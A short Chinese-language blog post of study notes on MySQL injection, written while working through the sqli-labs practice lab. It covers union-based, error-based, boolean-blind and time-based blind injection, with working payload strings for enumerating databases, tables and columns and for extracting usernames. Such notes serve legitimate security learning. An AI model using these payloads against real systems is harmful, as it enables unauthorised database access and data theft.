基于sqli-labs的mysql注入学习(联合查询,报错注入,布尔型盲注,延时盲注)

sql注入基本思想:通过查询语句或者其他语句使页面将数据库中的数据进行回显。

步骤:爆数据库名,爆表 ,爆列名,爆数据。

联合查询(**需要使id=-1?)语句常用:union select ***from***   其中可用group_concat函数连接该列中的数据一同回显,当mysql版本大于5时,可用通过访问information_schema 来获取库名,

获取表名,获取列名。如select schema_name from information_schema.schemata  |   select table_name from information_schema.tables where schema_name=database() #当前数据库(个人感觉可以直接当前数据库跳过爆库步骤)| select column_name from information_schema.columns where table_name='所爆表名 ' | select  anything from 列名 

报错注入:主要通过extractvalue(),updatexml()函数 以及count() group by () floor ()rand()四剑客进行注入。为防止遗忘附上链接

https://blog.csdn.net/zpy1998zpy/article/details/80631036(extractvalue updatexml)

https://blog.csdn.net/qq_34965596/article/details/104453396(那四个)

布尔型盲注:查看mysql版本left(version)=5 --+

                      步骤大致相同,利用的函数主要为ascii substr  以及ORD MID 两个函数主要用来爆数据。正则注入regexp 以及like

                      实例:ascii(substr((select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1))>101--+

                                 其中limit 0,1控制查询的第几个表,substr(*,1,1)控制查询的第几个字符

                                正则注入:?id=1' and 1=(select 1 from information schema.columns where table_name=' ' and column_name regexp'^us[a-z]' limit 0,1)--+

                                  判断是有us*的列  like相似

                               ORD与MID :and ORD(MID((SELECT IFNULL (CAST (username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

延时盲注:通过if 和sleep在没有回显的情况下将true和false转化为页面时间改变,常将true设置成延时

                 大致应用 and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+

posted @ 2021-04-03 14:52  0x00Guem-lulu  阅读(167)  评论(0)    收藏  举报